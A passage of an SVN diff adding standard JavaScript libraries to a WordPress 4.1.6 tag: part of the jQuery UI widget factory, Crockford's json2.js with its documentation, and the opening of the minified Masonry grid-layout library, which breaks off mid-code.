+		return this._setOptions({ disabled: false });
+	},
+	disable: function() {
+		return this._setOptions({ disabled: true });
+	},
+
+	_on: function( suppressDisabledCheck, element, handlers ) {
+		var delegateElement,
+			instance = this;
+
+		// no suppressDisabledCheck flag, shuffle arguments
+		if ( typeof suppressDisabledCheck !== "boolean" ) {
+			handlers = element;
+			element = suppressDisabledCheck;
+			suppressDisabledCheck = false;
+		}
+
+		// no element argument, shuffle and use this.element
+		if ( !handlers ) {
+			handlers = element;
+			element = this.element;
+			delegateElement = this.widget();
+		} else {
+			element = delegateElement = $( element );
+			this.bindings = this.bindings.add( element );
+		}
+
+		$.each( handlers, function( event, handler ) {
+			function handlerProxy() {
+				// allow widgets to customize the disabled handling
+				// - disabled as an array instead of boolean
+				// - disabled class as method for disabling individual parts
+				if ( !suppressDisabledCheck &&
+						( instance.options.disabled === true ||
+							$( this ).hasClass( "ui-state-disabled" ) ) ) {
+					return;
+				}
+				return ( typeof handler === "string" ? instance[ handler ] : handler )
+					.apply( instance, arguments );
+			}
+
+			// copy the guid so direct unbinding works
+			if ( typeof handler !== "string" ) {
+				handlerProxy.guid = handler.guid =
+					handler.guid || handlerProxy.guid || $.guid++;
+			}
+
+			var match = event.match( /^([\w:-]*)\s*(.*)$/ ),
+				eventName = match[1] + instance.eventNamespace,
+				selector = match[2];
+			if ( selector ) {
+				delegateElement.delegate( selector, eventName, handlerProxy );
+			} else {
+				element.bind( eventName, handlerProxy );
+			}
+		});
+	},
+
+	_off: function( element, eventName ) {
+		eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) +
+			this.eventNamespace;
+		element.unbind( eventName ).undelegate( eventName );
+
+		// Clear the stack to avoid memory leaks (#10056)
+		this.bindings = $( this.bindings.not( element ).get() );
+		this.focusable = $( this.focusable.not( element ).get() );
+		this.hoverable = $( this.hoverable.not( element ).get() );
+	},
+
+	_delay: function( handler, delay ) {
+		function handlerProxy() {
+			return ( typeof handler === "string" ? instance[ handler ] : handler )
+				.apply( instance, arguments );
+		}
+		var instance = this;
+		return setTimeout( handlerProxy, delay || 0 );
+	},
+
+	_hoverable: function( element ) {
+		this.hoverable = this.hoverable.add( element );
+		this._on( element, {
+			mouseenter: function( event ) {
+				$( event.currentTarget ).addClass( "ui-state-hover" );
+			},
+			mouseleave: function( event ) {
+				$( event.currentTarget ).removeClass( "ui-state-hover" );
+			}
+		});
+	},
+
+	_focusable: function( element ) {
+		this.focusable = this.focusable.add( element );
+		this._on( element, {
+			focusin: function( event ) {
+				$( event.currentTarget ).addClass( "ui-state-focus" );
+			},
+			focusout: function( event ) {
+				$( event.currentTarget ).removeClass( "ui-state-focus" );
+			}
+		});
+	},
+
+	_trigger: function( type, event, data ) {
+		var prop, orig,
+			callback = this.options[ type ];
+
+		data = data || {};
+		event = $.Event( event );
+		event.type = ( type === this.widgetEventPrefix ?
+			type :
+			this.widgetEventPrefix + type ).toLowerCase();
+		// the original event may come from any element
+		// so we need to reset the target on the new event
+		event.target = this.element[ 0 ];
+
+		// copy original event properties over to the new event
+		orig = event.originalEvent;
+		if ( orig ) {
+			for ( prop in orig ) {
+				if ( !( prop in event ) ) {
+					event[ prop ] = orig[ prop ];
+				}
+			}
+		}
+
+		this.element.trigger( event, data );
+		return !( $.isFunction( callback ) &&
+			callback.apply( this.element[0], [ event ].concat( data ) ) === false ||
+			event.isDefaultPrevented() );
+	}
+};
+
+$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
+	$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
+		if ( typeof options === "string" ) {
+			options = { effect: options };
+		}
+		var hasOptions,
+			effectName = !options ?
+				method :
+				options === true || typeof options === "number" ?
+					defaultEffect :
+					options.effect || defaultEffect;
+		options = options || {};
+		if ( typeof options === "number" ) {
+			options = { duration: options };
+		}
+		hasOptions = !$.isEmptyObject( options );
+		options.complete = callback;
+		if ( options.delay ) {
+			element.delay( options.delay );
+		}
+		if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
+			element[ method ]( options );
+		} else if ( effectName !== method && element[ effectName ] ) {
+			element[ effectName ]( options.duration, options.easing, callback );
+		} else {
+			element.queue(function( next ) {
+				$( this )[ method ]();
+				if ( callback ) {
+					callback.call( element[ 0 ] );
+				}
+				next();
+			});
+		}
+	};
+});
+
+return $.widget;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/json2.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/json2.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/json2.js	(revision 33402)
@@ -0,0 +1,480 @@
+/*
+    http://www.JSON.org/json2.js
+    2011-02-23
+
+    Public Domain.
+
+    NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
+
+    See http://www.JSON.org/js.html
+
+
+    This code should be minified before deployment.
+    See http://javascript.crockford.com/jsmin.html
+
+    USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
+    NOT CONTROL.
+
+
+    This file creates a global JSON object containing two methods: stringify
+    and parse.
+
+        JSON.stringify(value, replacer, space)
+            value       any JavaScript value, usually an object or array.
+
+            replacer    an optional parameter that determines how object
+                        values are stringified for objects. It can be a
+                        function or an array of strings.
+
+            space       an optional parameter that specifies the indentation
+                        of nested structures. If it is omitted, the text will
+                        be packed without extra whitespace. If it is a number,
+                        it will specify the number of spaces to indent at each
+                        level. If it is a string (such as '\t' or '&nbsp;'),
+                        it contains the characters used to indent at each level.
+
+            This method produces a JSON text from a JavaScript value.
+
+            When an object value is found, if the object contains a toJSON
+            method, its toJSON method will be called and the result will be
+            stringified. A toJSON method does not serialize: it returns the
+            value represented by the name/value pair that should be serialized,
+            or undefined if nothing should be serialized. The toJSON method
+            will be passed the key associated with the value, and this will be
+            bound to the value
+
+            For example, this would serialize Dates as ISO strings.
+
+                Date.prototype.toJSON = function (key) {
+                    function f(n) {
+                        // Format integers to have at least two digits.
+                        return n < 10 ? '0' + n : n;
+                    }
+
+                    return this.getUTCFullYear()   + '-' +
+                         f(this.getUTCMonth() + 1) + '-' +
+                         f(this.getUTCDate())      + 'T' +
+                         f(this.getUTCHours())     + ':' +
+                         f(this.getUTCMinutes())   + ':' +
+                         f(this.getUTCSeconds())   + 'Z';
+                };
+
+            You can provide an optional replacer method. It will be passed the
+            key and value of each member, with this bound to the containing
+            object. The value that is returned from your method will be
+            serialized. If your method returns undefined, then the member will
+            be excluded from the serialization.
+
+            If the replacer parameter is an array of strings, then it will be
+            used to select the members to be serialized. It filters the results
+            such that only members with keys listed in the replacer array are
+            stringified.
+
+            Values that do not have JSON representations, such as undefined or
+            functions, will not be serialized. Such values in objects will be
+            dropped; in arrays they will be replaced with null. You can use
+            a replacer function to replace those with JSON values.
+            JSON.stringify(undefined) returns undefined.
+
+            The optional space parameter produces a stringification of the
+            value that is filled with line breaks and indentation to make it
+            easier to read.
+
+            If the space parameter is a non-empty string, then that string will
+            be used for indentation. If the space parameter is a number, then
+            the indentation will be that many spaces.
+
+            Example:
+
+            text = JSON.stringify(['e', {pluribus: 'unum'}]);
+            // text is '["e",{"pluribus":"unum"}]'
+
+
+            text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t');
+            // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]'
+
+            text = JSON.stringify([new Date()], function (key, value) {
+                return this[key] instanceof Date ?
+                    'Date(' + this[key] + ')' : value;
+            });
+            // text is '["Date(---current time---)"]'
+
+
+        JSON.parse(text, reviver)
+            This method parses a JSON text to produce an object or array.
+            It can throw a SyntaxError exception.
+
+            The optional reviver parameter is a function that can filter and
+            transform the results. It receives each of the keys and values,
+            and its return value is used instead of the original value.
+            If it returns what it received, then the structure is not modified.
+            If it returns undefined then the member is deleted.
+
+            Example:
+
+            // Parse the text. Values that look like ISO date strings will
+            // be converted to Date objects.
+
+            myData = JSON.parse(text, function (key, value) {
+                var a;
+                if (typeof value === 'string') {
+                    a =
+/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value);
+                    if (a) {
+                        return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4],
+                            +a[5], +a[6]));
+                    }
+                }
+                return value;
+            });
+
+            myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) {
+                var d;
+                if (typeof value === 'string' &&
+                        value.slice(0, 5) === 'Date(' &&
+                        value.slice(-1) === ')') {
+                    d = new Date(value.slice(5, -1));
+                    if (d) {
+                        return d;
+                    }
+                }
+                return value;
+            });
+
+
+    This is a reference implementation. You are free to copy, modify, or
+    redistribute.
+*/
+
+/*jslint evil: true, strict: false, regexp: false */
+
+/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply,
+    call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours,
+    getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join,
+    lastIndex, length, parse, prototype, push, replace, slice, stringify,
+    test, toJSON, toString, valueOf
+*/
+
+
+// Create a JSON object only if one does not already exist. We create the
+// methods in a closure to avoid creating global variables.
+
+var JSON;
+if (!JSON) {
+    JSON = {};
+}
+
+(function () {
+    "use strict";
+
+    function f(n) {
+        // Format integers to have at least two digits.
+        return n < 10 ? '0' + n : n;
+    }
+
+    if (typeof Date.prototype.toJSON !== 'function') {
+
+        Date.prototype.toJSON = function (key) {
+
+            return isFinite(this.valueOf()) ?
+                this.getUTCFullYear()     + '-' +
+                f(this.getUTCMonth() + 1) + '-' +
+                f(this.getUTCDate())      + 'T' +
+                f(this.getUTCHours())     + ':' +
+                f(this.getUTCMinutes())   + ':' +
+                f(this.getUTCSeconds())   + 'Z' : null;
+        };
+
+        String.prototype.toJSON      =
+            Number.prototype.toJSON  =
+            Boolean.prototype.toJSON = function (key) {
+                return this.valueOf();
+            };
+    }
+
+    var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
+        escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
+        gap,
+        indent,
+        meta = {    // table of character substitutions
+            '\b': '\\b',
+            '\t': '\\t',
+            '\n': '\\n',
+            '\f': '\\f',
+            '\r': '\\r',
+            '"' : '\\"',
+            '\\': '\\\\'
+        },
+        rep;
+
+
+    function quote(string) {
+
+// If the string contains no control characters, no quote characters, and no
+// backslash characters, then we can safely slap some quotes around it.
+// Otherwise we must also replace the offending characters with safe escape
+// sequences.
+
+        escapable.lastIndex = 0;
+        return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
+            var c = meta[a];
+            return typeof c === 'string' ? c :
+                '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
+        }) + '"' : '"' + string + '"';
+    }
+
+
+    function str(key, holder) {
+
+// Produce a string from holder[key].
+
+        var i,          // The loop counter.
+            k,          // The member key.
+            v,          // The member value.
+            length,
+            mind = gap,
+            partial,
+            value = holder[key];
+
+// If the value has a toJSON method, call it to obtain a replacement value.
+
+        if (value && typeof value === 'object' &&
+                typeof value.toJSON === 'function') {
+            value = value.toJSON(key);
+        }
+
+// If we were called with a replacer function, then call the replacer to
+// obtain a replacement value.
+
+        if (typeof rep === 'function') {
+            value = rep.call(holder, key, value);
+        }
+
+// What happens next depends on the value's type.
+
+        switch (typeof value) {
+        case 'string':
+            return quote(value);
+
+        case 'number':
+
+// JSON numbers must be finite. Encode non-finite numbers as null.
+
+            return isFinite(value) ? String(value) : 'null';
+
+        case 'boolean':
+        case 'null':
+
+// If the value is a boolean or null, convert it to a string. Note:
+// typeof null does not produce 'null'. The case is included here in
+// the remote chance that this gets fixed someday.
+
+            return String(value);
+
+// If the type is 'object', we might be dealing with an object or an array or
+// null.
+
+        case 'object':
+
+// Due to a specification blunder in ECMAScript, typeof null is 'object',
+// so watch out for that case.
+
+            if (!value) {
+                return 'null';
+            }
+
+// Make an array to hold the partial results of stringifying this object value.
+
+            gap += indent;
+            partial = [];
+
+// Is the value an array?
+
+            if (Object.prototype.toString.apply(value) === '[object Array]') {
+
+// The value is an array. Stringify every element. Use null as a placeholder
+// for non-JSON values.
+
+                length = value.length;
+                for (i = 0; i < length; i += 1) {
+                    partial[i] = str(i, value) || 'null';
+                }
+
+// Join all of the elements together, separated with commas, and wrap them in
+// brackets.
+
+                v = partial.length === 0 ? '[]' : gap ?
+                    '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
+                    '[' + partial.join(',') + ']';
+                gap = mind;
+                return v;
+            }
+
+// If the replacer is an array, use it to select the members to be stringified.
+
+            if (rep && typeof rep === 'object') {
+                length = rep.length;
+                for (i = 0; i < length; i += 1) {
+                    if (typeof rep[i] === 'string') {
+                        k = rep[i];
+                        v = str(k, value);
+                        if (v) {
+                            partial.push(quote(k) + (gap ? ': ' : ':') + v);
+                        }
+                    }
+                }
+            } else {
+
+// Otherwise, iterate through all of the keys in the object.
+
+                for (k in value) {
+                    if (Object.prototype.hasOwnProperty.call(value, k)) {
+                        v = str(k, value);
+                        if (v) {
+                            partial.push(quote(k) + (gap ? ': ' : ':') + v);
+                        }
+                    }
+                }
+            }
+
+// Join all of the member texts together, separated with commas,
+// and wrap them in braces.
+
+            v = partial.length === 0 ? '{}' : gap ?
+                '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
+                '{' + partial.join(',') + '}';
+            gap = mind;
+            return v;
+        }
+    }
+
+// If the JSON object does not yet have a stringify method, give it one.
+
+    if (typeof JSON.stringify !== 'function') {
+        JSON.stringify = function (value, replacer, space) {
+
+// The stringify method takes a value and an optional replacer, and an optional
+// space parameter, and returns a JSON text. The replacer can be a function
+// that can replace values, or an array of strings that will select the keys.
+// A default replacer method can be provided. Use of the space parameter can
+// produce text that is more easily readable.
+
+            var i;
+            gap = '';
+            indent = '';
+
+// If the space parameter is a number, make an indent string containing that
+// many spaces.
+
+            if (typeof space === 'number') {
+                for (i = 0; i < space; i += 1) {
+                    indent += ' ';
+                }
+
+// If the space parameter is a string, it will be used as the indent string.
+
+            } else if (typeof space === 'string') {
+                indent = space;
+            }
+
+// If there is a replacer, it must be a function or an array.
+// Otherwise, throw an error.
+
+            rep = replacer;
+            if (replacer && typeof replacer !== 'function' &&
+                    (typeof replacer !== 'object' ||
+                    typeof replacer.length !== 'number')) {
+                throw new Error('JSON.stringify');
+            }
+
+// Make a fake root object containing our value under the key of ''.
+// Return the result of stringifying the value.
+
+            return str('', {'': value});
+        };
+    }
+
+
+// If the JSON object does not yet have a parse method, give it one.
+
+    if (typeof JSON.parse !== 'function') {
+        JSON.parse = function (text, reviver) {
+
+// The parse method takes a text and an optional reviver function, and returns
+// a JavaScript value if the text is a valid JSON text.
+
+            var j;
+
+            function walk(holder, key) {
+
+// The walk method is used to recursively walk the resulting structure so
+// that modifications can be made.
+
+                var k, v, value = holder[key];
+                if (value && typeof value === 'object') {
+                    for (k in value) {
+                        if (Object.prototype.hasOwnProperty.call(value, k)) {
+                            v = walk(value, k);
+                            if (v !== undefined) {
+                                value[k] = v;
+                            } else {
+                                delete value[k];
+                            }
+                        }
+                    }
+                }
+                return reviver.call(holder, key, value);
+            }
+
+
+// Parsing happens in four stages. In the first stage, we replace certain
+// Unicode characters with escape sequences. JavaScript handles many characters
+// incorrectly, either silently deleting them, or treating them as line endings.
+
+            text = String(text);
+            cx.lastIndex = 0;
+            if (cx.test(text)) {
+                text = text.replace(cx, function (a) {
+                    return '\\u' +
+                        ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
+                });
+            }
+
+// In the second stage, we run the text against regular expressions that look
+// for non-JSON patterns. We are especially concerned with '()' and 'new'
+// because they can cause invocation, and '=' because it can cause mutation.
+// But just to be safe, we want to reject all unexpected forms.
+
+// We split the second stage into 4 regexp operations in order to work around
+// crippling inefficiencies in IE's and Safari's regexp engines. First we
+// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
+// replace all simple value tokens with ']' characters. Third, we delete all
+// open brackets that follow a colon or comma or that begin the text. Finally,
+// we look to see that the remaining characters are only whitespace or ']' or
+// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
+
+            if (/^[\],:{}\s]*$/
+                    .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
+                        .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
+                        .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
+
+// In the third stage we use the eval function to compile the text into a
+// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
+// in JavaScript: it can begin a block or an object literal. We wrap the text
+// in parens to eliminate the ambiguity.
+
+                j = eval('(' + text + ')');
+
+// In the optional fourth stage, we recursively walk the new structure, passing
+// each name/value pair to a reviver function for possible transformation.
+
+                return typeof reviver === 'function' ?
+                    walk({'': j}, '') : j;
+            }
+
+// If the text is not JSON parseable, then a SyntaxError is thrown.
+
+            throw new SyntaxError('JSON.parse');
+        };
+    }
+}());
Index: /tags/4.1.6/src/wp-includes/js/masonry.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/masonry.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/masonry.min.js	(revision 33402)
@@ -0,0 +1,17 @@
+/*!
+ * Masonry PACKAGED v3.1.4
+ * Cascading grid layout library
+ * http://masonry.desandro.com
+ * MIT License
+ * by David DeSandro
+ */
+
+(function(t){function e(){}function i(t){function i(e){e.prototype.option||(e.prototype.option=function(e){t.isPlainObject(e)&&(this.options=t.extend(!0,this.options,e))})}function o(e,i){t.fn[e]=function(o){if("string"==typeof o){for(var s=n.call(arguments,1),a=0,h=this.length;h>a;a++){var p=this[a],u=t.data(p,e);if(u)if(t.isFunction(u[o])&&"_"!==o.charAt(0)){var f=u[o].apply(u,s);if(void 0!==f)return f}else r("no such method '"+o+"' for "+e+" instance");else r("cannot call methods on "+e+" prior to initialization; "+"attempted to call '"+o+"'")}return this}return this.each(function(){var n=t.data(this,e);n?(n.option(o),n._init()):(n=new i(this,o),t.data(this,e,n))})}}if(t){var r="undefined"==typeof console?e:function(t){console.error(t)};return t.bridget=function(t,e){i(e),o(t,e)},t.bridget}}var n=Array.prototype.slice;"function"==typeof define&&define.amd?define("jquery-bridget/jquery.bridget",["jquery"],i):i(t.jQuery)})(window),function(t){function e(e){var i=t.event;return i.target=i.target||i.srcElement||e,i}var i=document.documentElement,n=function(){};i.addEventListener?n=function(t,e,i){t.addEventListener(e,i,!1)}:i.attachEvent&&(n=function(t,i,n){t[i+n]=n.handleEvent?function(){var i=e(t);n.handleEvent.call(n,i)}:function(){var i=e(t);n.call(t,i)},t.attachEvent("on"+i,t[i+n])});var o=function(){};i.removeEventListener?o=function(t,e,i){t.removeEventListener(e,i,!1)}:i.detachEvent&&(o=function(t,e,i){t.detachEvent("on"+e,t[e+i]);try{delete t[e+i]}catch(n){t[e+i]=void 0}});var r={bind:n,unbind:o};"function"==typeof define&&define.amd?define("eventie/eventie",r):"object"==typeof exports?module.exports=r:t.eventie=r}(this),function(t){function e(t){"function"==typeof t&&(e.isReady?t():r.push(t))}function i(t){var i="readystatechange"===t.type&&"complete"!==o.readyState;if(!e.isReady&&!i){e.isReady=!0;for(var n=0,s=r.length;s>n;n++){var a=r[n];a()}}}function n(n){return n.bind(o,"DOMContentLoaded",i),n.bind(o,"readystatechange",i),n.bind(t,"load",i),e}var o=t.document,r=[];e.isReady=!1,"function"==typeof define&&define.amd?(e.isReady="function"==typeof requirejs,define("doc-ready/doc-ready",["eventie/eventie"],n)):t.docReady=n(t.eventie)}(this),function(){function t(){}function e(t,e){for(var i=t.length;i--;)if(t[i].listener===e)return i;return-1}function i(t){return function(){return this[t].apply(this,arguments)}}var n=t.prototype,o=this,r=o.EventEmitter;n.getListeners=function(t){var e,i,n=this._getEvents();if(t instanceof RegExp){e={};for(i in n)n.hasOwnProperty(i)&&t.test(i)&&(e[i]=n[i])}else e=n[t]||(n[t]=[]);return e},n.flattenListeners=function(t){var e,i=[];for(e=0;t.length>e;e+=1)i.push(t[e].listener);return i},n.getListenersAsObject=function(t){var e,i=this.getListeners(t);return i instanceof Array&&(e={},e[t]=i),e||i},n.addListener=function(t,i){var n,o=this.getListenersAsObject(t),r="object"==typeof i;for(n in o)o.hasOwnProperty(n)&&-1===e(o[n],i)&&o[n].push(r?i:{listener:i,once:!1});return this},n.on=i("addListener"),n.addOnceListener=function(t,e){return this.addListener(t,{listener:e,once:!0})},n.once=i("addOnceListener"),n.defineEvent=function(t){return this.getListeners(t),this},n.defineEvents=function(t){for(var e=0;t.length>e;e+=1)this.defineEvent(t[e]);return this},n.removeListener=function(t,i){var n,o,r=this.getListenersAsObject(t);for(o in r)r.hasOwnProperty(o)&&(n=e(r[o],i),-1!==n&&r[o].splice(n,1));return this},n.off=i("removeListener"),n.addListeners=function(t,e){return this.manipulateListeners(!1,t,e)},n.removeListeners=function(t,e){return this.manipulateListeners(!0,t,e)},n.manipulateListeners=function(t,e,i){var n,o,r=t?this.removeListener:this.addListener,s=t?this.removeListeners:this.addListeners;if("object"!=typeof e||e instanceof RegExp)for(n=i.length;n--;)r.call(this,e,i[n]);else for(n in e)e.hasOwnProperty(n)&&(o=e[n])&&("function"==typeof o?r.call(this,n,o):s.call(this,n,o));return this},n.removeEvent=function(t){var e,i=typeof t,n=this._getEvents();if("string"===i)delete n[t];else if(t instanceof RegExp)for(e in n)n.hasOwnProperty(e)&&t.test(e)&&delete n[e];else delete this._events;return this},n.removeAllListeners=i("removeEvent"),n.emitEvent=function(t,e){var i,n,o,r,s=this.getListenersAsObject(t);for(o in s)if(s.hasOwnProperty(o))for(n=s[o].length;n--;)i=s[o][n],i.once===!0&&this.removeListener(t,i.listener),r=i.listener.apply(this,e||[]),r===this._getOnceReturnValue()&&this.removeListener(t,i.listener);return this},n.trigger=i("emitEvent"),n.emit=function(t){var e=Array.prototype.slice.call(arguments,1);return this.emitEvent(t,e)},n.setOnceReturnValue=function(t){return this._onceReturnValue=t,this},n._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},n._getEvents=function(){return this._events||(this._events={})},t.noConflict=function(){return o.EventEmitter=r,t},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return t}):"object"==typeof module&&module.exports?module.exports=t:this.EventEmitter=t}.call(this),function(t){function e(t){if(t){if("string"==typeof n[t])return t;t=t.charAt(0).toUpperCase()+t.slice(1);for(var e,o=0,r=i.length;r>o;o++)if(e=i[o]+t,"string"==typeof n[e])return e}}var i="Webkit Moz ms Ms O".split(" "),n=document.documentElement.style;"function"==typeof define&&define.amd?define("get-style-property/get-style-property",[],function(){return e}):"object"==typeof exports?module.exports=e:t.getStyleProperty=e}(window),function(t){function e(t){var e=parseFloat(t),i=-1===t.indexOf("%")&&!isNaN(e);return i&&e}function i(){for(var t={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},e=0,i=s.length;i>e;e++){var n=s[e];t[n]=0}return t}function n(t){function n(t){if("string"==typeof t&&(t=document.querySelector(t)),t&&"object"==typeof t&&t.nodeType){var n=r(t);if("none"===n.display)return i();var o={};o.width=t.offsetWidth,o.height=t.offsetHeight;for(var u=o.isBorderBox=!(!p||!n[p]||"border-box"!==n[p]),f=0,c=s.length;c>f;f++){var d=s[f],l=n[d];l=a(t,l);var m=parseFloat(l);o[d]=isNaN(m)?0:m}var y=o.paddingLeft+o.paddingRight,g=o.paddingTop+o.paddingBottom,v=o.marginLeft+o.marginRight,b=o.marginTop+o.marginBottom,_=o.borderLeftWidth+o.borderRightWidth,E=o.borderTopWidth+o.borderBottomWidth,L=u&&h,x=e(n.width);x!==!1&&(o.width=x+(L?0:y+_));var z=e(n.height);return z!==!1&&(o.height=z+(L?0:g+E)),o.innerWidth=o.width-(y+_),o.innerHeight=o.height-(g+E),o.outerWidth=o.width+v,o.outerHeight=o.height+b,o}}function a(t,e){if(o||-1===e.indexOf("%"))return e;var i=t.style,n=i.left,r=t.runtimeStyle,s=r&&r.left;return s&&(r.left=t.currentStyle.left),i.left=e,e=i.pixelLeft,i.left=n,s&&(r.left=s),e}var h,p=t("boxSizing");return function(){if(p){var t=document.createElement("div");t.style.width="200px",t.style.padding="1px 2px 3px 4px",t.style.borderStyle="solid",t.style.borderWidth="1px 2px 3px 4px",t.style[p]="border-box";var i=document.body||document.documentElement;i.appendChild(t);var n=r(t);h=200===e(n.width),i.removeChild(t)}}(),n}var o=t.getComputedStyle,r=o?function(t){return o(t,null)}:function(t){return t.currentStyle},s=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"];"function"==typeof define&&define.amd?define("get-size/get-size",["get-style-property/get-style-property"],n):"object"==typeof exports?module.exports=n(require("get-style-property")):t.getSize=n(t.getStyleProperty)}(window),function(t,e){function i(t,e){return t[a](e)}function n(t){if(!t.parentNode){var e=document.createDocumentFragment();e.appendChild(t)}}function o(t,e){n(t);for(var i=t.parentNode.querySelectorAll(e),o=0,r=i.length;r>o;o++)if(i[o]===t)return!0;return!1}function r(t,e){return n(t),i(t,e)}var s,a=function(){if(e.matchesSelector)return"matchesSelector";for(var t=["webkit","moz","ms","o"],i=0,n=t.length;n>i;i++){var o=t[i],r=o+"MatchesSelector";if(e[r])return r}}();if(a){var h=document.createElement("div"),p=i(h,"div");s=p?i:r}else s=o;"function"==typeof define&&define.amd?define("matches-selector/matches-selector",[],function(){return s}):window.matchesSelector=s}(this,Element.prototype),function(t){function e(t,e){for(var i in e)t[i]=e[i];return t}function i(t){for(var e in t)return!1;return e=null,!0}function n(t){return t.replace(/([A-Z])/g,function(t){return"-"+t.toLowerCase()})}function o(t,o,r){function a(t,e){t&&(this.element=t,this.layout=e,this.position={x:0,y:0},this._create())}var h=r("transition"),p=r("transform"),u=h&&p,f=!!r("perspective"),c={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"otransitionend",transition:"transitionend"}[h],d=["transform","transition","transitionDuration","transitionProperty"],l=function(){for(var t={},e=0,i=d.length;i>e;e++){var n=d[e],o=r(n);o&&o!==n&&(t[n]=o)}return t}();e(a.prototype,t.prototype),a.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},a.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},a.prototype.getSize=function(){this.size=o(this.element)},a.prototype.css=function(t){var e=this.element.style;for(var i in t){var n=l[i]||i;e[n]=t[i]}},a.prototype.getPosition=function(){var t=s(this.element),e=this.layout.options,i=e.isOriginLeft,n=e.isOriginTop,o=parseInt(t[i?"left":"right"],10),r=parseInt(t[n?"top":"bottom"],10);o=isNaN(o)?0:o,r=isNaN(r)?0:r;var a=this.layout.size;o-=i?a.paddingLeft:a.paddingRight,r-=n?a.paddingTop:a.paddingBottom,this.position.x=o,this.position.y=r},a.prototype.layoutPosition=function(){var t=this.layout.size,e=this.layout.options,i={};e.isOriginLeft?(i.left=this.position.x+t.paddingLeft+"px",i.right=""):(i.right=this.position.x+t.paddingRight+"px",i.left=""),e.isOriginTop?(i.top=this.position.y+t.paddingTop+"px",i.bottom=""):(i.bottom=this.position.y+t.paddingBottom+"px",i.top=""),this.css(i),this.emitEvent("layout",[this])};var m=f?function(t,e){return"translate3d("+t+"px, "+e+"px, 0)"}:function(t,e){return"translate("+t+"px, "+e+"px)"};a.prototype._transitionTo=function(t,e){this.getPosition();var i=this.position.x,n=this.position.y,o=parseInt(t,10),r=parseInt(e,10),s=o===this.position.x&&r===this.position.y;if(this.setPosition(t,e),s&&!this.isTransitioning)return this.layoutPosition(),void 0;var a=t-i,h=e-n,p={},u=this.layout.options;a=u.isOriginLeft?a:-a,h=u.isOriginTop?h:-h,p.transform=m(a,h),this.transition({to:p,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},a.prototype.goTo=function(t,e){this.setPosition(t,e),this.layoutPosition()},a.prototype.moveTo=u?a.prototype._transitionTo:a.prototype.goTo,a.prototype.setPosition=function(t,e){this.position.x=parseInt(t,10),this.position.y=parseInt(e,10)},a.prototype._nonTransition=function(t){this.css(t.to),t.isCleaning&&this._removeStyles(t.to);for(var e in t.onTransitionEnd)t.onTransitionEnd[e].call(this)},a.prototype._transition=function(t){if(!parseFloat(this.layout.options.transitionDuration))return this._nonTransition(t),void 0;var e=this._transn;for(var i in t.onTransitionEnd)e.onEnd[i]=t.onTransitionEnd[i];for(i in t.to)e.ingProperties[i]=!0,t.isCleaning&&(e.clean[i]=!0);if(t.from){this.css(t.from);var n=this.element.offsetHeight;n=null}this.enableTransition(t.to),this.css(t.to),this.isTransitioning=!0};var y=p&&n(p)+",opacity";a.prototype.enableTransition=function(){this.isTransitioning||(this.css({transitionProperty:y,transitionDuration:this.layout.options.transitionDuration}),this.element.addEventListener(c,this,!1))},a.prototype.transition=a.prototype[h?"_transition":"_nonTransition"],a.prototype.onwebkitTransitionEnd=function(t){this.ontransitionend(t)},a.prototype.onotransitionend=function(t){this.ontransitionend(t)};var g={"-webkit-transform":"transform","-moz-transform":"transform","-o-transform":"transform"};a.prototype.ontransitionend=function(t){if(t.target===this.element){var e=this._transn,n=g[t.propertyName]||t.propertyName;if(delete e.ingProperties[n],i(e.ingProperties)&&this.disableTransition(),n in e.clean&&(this.element.style[t.propertyName]="",delete e.clean[n]),n in e.onEnd){var 